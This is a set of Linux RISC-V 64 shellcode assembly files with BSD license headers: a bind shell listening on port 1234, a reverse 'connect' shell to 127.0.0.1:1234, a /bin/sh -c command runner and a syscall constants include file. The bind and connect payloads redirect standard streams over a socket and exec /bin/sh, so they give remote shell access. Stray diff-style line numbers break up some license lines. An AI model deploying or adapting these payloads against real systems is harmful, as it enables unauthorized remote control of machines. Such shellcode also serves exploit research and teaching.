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‎os/linux/riscv64/bind.s‎

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/**
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Copyright © 2018 Odzhan. All Rights Reserved.
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Redistribution and use in source and binary forms, with or without
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modification, are permitted provided that the following conditions are
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met:
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1. Redistributions of source code must retain the above copyright
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notice, this list of conditions and the following disclaimer.
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2. Redistributions in binary form must reproduce the above copyright
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notice, this list of conditions and the following disclaimer in the
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documentation and/or other materials provided with the distribution.
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3. The name of the author may not be used to endorse or promote products
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derived from this software without specific prior written permission.
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THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
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IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
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WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
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DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
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INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
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(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
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SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
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HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
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STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
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ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
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POSSIBILITY OF SUCH DAMAGE. */
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# 176 bytes
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.include "include.inc"
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.equ PORT, 1234
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.global _start
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.text
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_start:
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addi sp, sp, -16
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# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
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li a7, SYS_socket
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li a2, IPPROTO_IP
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li a1, SOCK_STREAM
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li a0, AF_INET
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ecall
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mv a3, a0
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# bind(s, &sa, sizeof(sa));
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li a7, SYS_bind
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li a2, 16
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li a1, (((((PORT & 0xFF) << 8) | (PORT >> 8)) << 16) | AF_INET)
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sd a1, (sp)
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sd x0, 8(sp)
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mov a1, sp
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ecall
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# listen(s, 1);
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li a7, SYS_listen
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li a1, 1
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mv a0, a3
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ecall
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# r = accept(s, 0, 0);
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li a7, SYS_accept
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mv a2, x0
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mv a1, x0
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mv a0, a3
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ecall
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mv a4, a0
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# in this order
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#
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# dup3(s, STDERR_FILENO, 0);
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# dup3(s, STDOUT_FILENO, 0);
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# dup3(s, STDIN_FILENO, 0);
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li a7, SYS_dup3
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li a1, STDERR_FILENO + 1
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c_dup:
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mv a0, a4
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addi a1, a1, -1
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ecall
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bne a1, zero, c_dup
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# execve("/bin/sh", NULL, NULL);
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li a7, SYS_execve
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mv a2, x0
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mv a1, x0
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li a0, BINSH
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sd a0, (sp)
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mv a0, sp
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ecall

‎os/linux/riscv64/cmd.s‎

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/**
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Copyright © 2018 Odzhan. All Rights Reserved.
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Redistribution and use in source and binary forms, with or without
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modification, are permitted provided that the following conditions are
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met:
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1. Redistributions of source code must retain the above copyright
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notice, this list of conditions and the following disclaimer.
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2. Redistributions in binary form must reproduce the above copyright
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notice, this list of conditions and the following disclaimer in the
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documentation and/or other materials provided with the distribution.
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3. The name of the author may not be used to endorse or promote products
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derived from this software without specific prior written permission.
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THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
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IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
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WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
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DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
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INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
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(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
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SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
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HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
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STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
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ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
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POSSIBILITY OF SUCH DAMAGE. */
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# 112 bytes
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.include "include.inc"
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.global _start
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.text
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_start:
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# execve("/bin/sh", {"/bin/sh", "-c", cmd, NULL}, NULL);
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addi sp, sp, -64 # allocate 64 bytes of stack
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li a7, SYS_execve
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li a0, BINSH # a0 = "/bin/sh\0"
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sd a0, (sp) # store "/bin/sh" on the stack
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mv a0, sp
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li a1, 0x632D # a1 = "-c"
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sd a1, 8(sp) # store "-c" on the stack
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addi a1, sp, 8
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la a2, cmd # a2 = cmd
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sd a0, 16(sp)
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sd a1, 24(sp)
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sd a2, 32(sp)
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sd x0, 40(sp)
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addi a1, sp, 16 # a1 = {"/bin/sh", "-c", cmd, NULL}
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mv a2, x0 # penv = NULL
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ecall
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cmd:
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.asciz "echo Hello, World!"
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‎os/linux/riscv64/connect.s‎

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/**
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Copyright © 2018 Odzhan. All Rights Reserved.
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Redistribution and use in source and binary forms, with or without
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modification, are permitted provided that the following conditions are
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met:
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1. Redistributions of source code must retain the above copyright
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notice, this list of conditions and the following disclaimer.
10+
11+
2. Redistributions in binary form must reproduce the above copyright
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notice, this list of conditions and the following disclaimer in the
13+
documentation and/or other materials provided with the distribution.
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3. The name of the author may not be used to endorse or promote products
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derived from this software without specific prior written permission.
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THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
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IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
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WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
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DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
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INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
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(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
24+
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
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HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
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STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
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ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
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POSSIBILITY OF SUCH DAMAGE. */
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# 140 bytes
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.include "include.inc"
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.equ PORT, 1234
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.equ HOST, 0x0100007F # 127.0.0.1
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.global _start
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.text
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_start:
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addi sp, sp, -16
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# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
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li a7, SYS_socket
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li a2, IPPROTO_IP
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li a1, SOCK_STREAM
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li a0, AF_INET
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ecall
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mv a3, a0 # a3 = s
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# connect(s, &sa, sizeof(sa));
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li a7, SYS_connect
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li a2, 16
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li a1, ((HOST << 32) | ((((PORT & 0xFF) << 8) | (PORT >> 8)) << 16) | AF_INET)
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sd a1, (sp)
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mv a1, sp # a1 = &sa
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ecall
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# in this order
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#
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# dup3(s, STDERR_FILENO, 0);
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# dup3(s, STDOUT_FILENO, 0);
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# dup3(s, STDIN_FILENO, 0);
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li a7, SYS_dup3
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li a1, STDERR_FILENO + 1
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c_dup:
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mv a2, x0
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mv a0, a3
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addi a1, a1, -1
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ecall
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bne a1, zero, c_dup
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# execve("/bin/sh", NULL, NULL);
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li a7, SYS_execve
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li a0, BINSH
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sd a0, (sp)
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mv a0, sp
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ecall

‎os/linux/riscv64/include.inc‎

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/**
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Copyright © 2018 Odzhan. All Rights Reserved.
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Redistribution and use in source and binary forms, with or without
5+
modification, are permitted provided that the following conditions are
6+
met:
7+
8+
1. Redistributions of source code must retain the above copyright
9+
notice, this list of conditions and the following disclaimer.
10+
11+
2. Redistributions in binary form must reproduce the above copyright
12+
notice, this list of conditions and the following disclaimer in the
13+
documentation and/or other materials provided with the distribution.
14+
15+
3. The name of the author may not be used to endorse or promote products
16+
derived from this software without specific prior written permission.
17+
18+
THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
19+
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
20+
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
21+
DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
22+
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
23+
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
24+
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
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HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
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STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
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ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
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POSSIBILITY OF SUCH DAMAGE. */
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# symbolic constants for Linux/AArch64
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.equ BINSH, 0x0068732F6E69622F
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.equ BUFSIZ, 64
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.equ NULL, 0
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.equ SIGCHLD, 17
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# sched.h
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.equ CSIGNAL, 0x000000FF # signal mask to be sent at exit
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.equ CLONE_VM, 0x00000100 # set if VM shared between processes
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.equ CLONE_FS, 0x00000200 # set if fs info shared between processes
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.equ CLONE_FILES, 0x00000400 # set if open files shared between processes
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.equ CLONE_SIGHAND, 0x00000800 # set if signal handlers and blocked signals shared
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.equ CLONE_PTRACE, 0x00002000 # set if we want to let tracing continue on the child too
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.equ CLONE_VFORK, 0x00004000 # set if the parent wants the child to wake it up on mm_release
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.equ CLONE_PARENT, 0x00008000 # set if we want to have the same parent as the cloner
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.equ CLONE_THREAD, 0x00010000 # Same thread group?
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.equ CLONE_NEWNS, 0x00020000 # New mount namespace group
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.equ CLONE_SYSVSEM, 0x00040000 # share system V SEM_UNDO semantics
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.equ CLONE_SETTLS, 0x00080000 # create a new TLS for the child
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.equ CLONE_PARENT_SETTID, 0x00100000 # set the TID in the parent
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.equ CLONE_CHILD_CLEARTID, 0x00200000 # clear the TID in the child
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.equ CLONE_DETACHED, 0x00400000 # Unused, ignored
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.equ CLONE_UNTRACED, 0x00800000 # set if the tracing process can't force CLONE_PTRACE
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.equ CLONE_CHILD_SETTID, 0x01000000 # set the TID in the child
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.equ CLONE_NEWCGROUP, 0x02000000 # New cgroup namespace
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.equ CLONE_NEWUTS, 0x04000000 # New utsname namespace
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.equ CLONE_NEWIPC, 0x08000000 # New ipc namespace
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.equ CLONE_NEWUSER, 0x10000000 # New user namespace
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.equ CLONE_NEWPID, 0x20000000 # New pid namespace
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.equ CLONE_NEWNET, 0x40000000 # New network namespace
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.equ CLONE_IO, 0x80000000 # Clone io context
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# fcntl.h
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.equ O_ACCMODE, 00000003
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.equ O_RDONLY, 00000000
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.equ O_WRONLY, 00000001
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.equ O_RDWR, 00000002
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.equ O_CREAT, 00000100
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.equ O_EXCL, 00000200
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.equ O_NOCTTY, 00000400
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.equ O_TRUNC, 00001000
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.equ O_APPEND, 00002000
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.equ O_NONBLOCK,00004000
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.equ SHUT_RDWR, 2
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.equ STDIN_FILENO, 0
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.equ STDOUT_FILENO, 1
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.equ STDERR_FILENO, 2
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.equ AF_INET, 2
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.equ SOCK_STREAM, 1
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.equ IPPROTO_IP, 0
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# epoll.h
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.equ EPOLLIN, 0x001
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.equ EPOLLPRI, 0x002
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.equ EPOLLOUT, 0x004
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.equ EPOLLERR, 0x008
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.equ EPOLLHUP, 0x010
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.equ EPOLLRDNORM, 0x040
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.equ EPOLLRDBAND, 0x080
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.equ EPOLLWRNORM, 0x100
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.equ EPOLLWRBAND, 0x200
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.equ EPOLLMSG, 0x400
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.equ EPOLLEXCLUSIVE, 1 << 28
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.equ EPOLLWAKEUP, 1 << 29
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.equ EPOLLONESHOT, 1 << 30
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.equ EPOLLET, 1 << 31
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.equ EPOLL_CTL_ADD, 1
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.equ EPOLL_CTL_DEL, 2
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.equ EPOLL_CTL_MOD, 3
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# Linux/RISC-V system calls
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.equ SYS_epoll_create1, 20
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.equ SYS_epoll_ctl, 21
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.equ SYS_epoll_pwait, 22
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.equ SYS_dup3, 24
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.equ SYS_fcntl, 25
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.equ SYS_statfs, 43
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.equ SYS_faccessat, 48
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.equ SYS_chroot, 51
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.equ SYS_fchmodat, 53
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.equ SYS_openat, 56
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.equ SYS_close, 57
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.equ SYS_pipe2, 59
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.equ SYS_read, 63
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.equ SYS_write, 64
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.equ SYS_pselect6, 72
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.equ SYS_ppoll, 73
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.equ SYS_splice, 76
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.equ SYS_exit, 93
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.equ SYS_futex, 98
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.equ SYS_kill, 129
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.equ SYS_reboot, 142
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.equ SYS_setuid, 146
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.equ SYS_setsid, 157
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.equ SYS_uname, 160
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.equ SYS_getpid, 172
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.equ SYS_getppid, 173
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.equ SYS_getuid, 174
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.equ SYS_getgid, 176
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.equ SYS_gettid, 178
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.equ SYS_socket, 198
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.equ SYS_bind, 200
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.equ SYS_listen, 201
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.equ SYS_accept, 202
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.equ SYS_connect, 203
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.equ SYS_sendto, 206
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.equ SYS_recvfrom, 207
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.equ SYS_setsockopt, 208
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.equ SYS_getsockopt, 209
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.equ SYS_shutdown, 210
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.equ SYS_munmap, 215
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.equ SYS_clone, 220
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.equ SYS_execve, 221
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.equ SYS_mmap, 222
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.equ SYS_mprotect, 226
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.equ SYS_wait4, 260
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.equ SYS_getrandom, 278
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.equ SYS_memfd_create, 279
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.equ SYS_access, 1033
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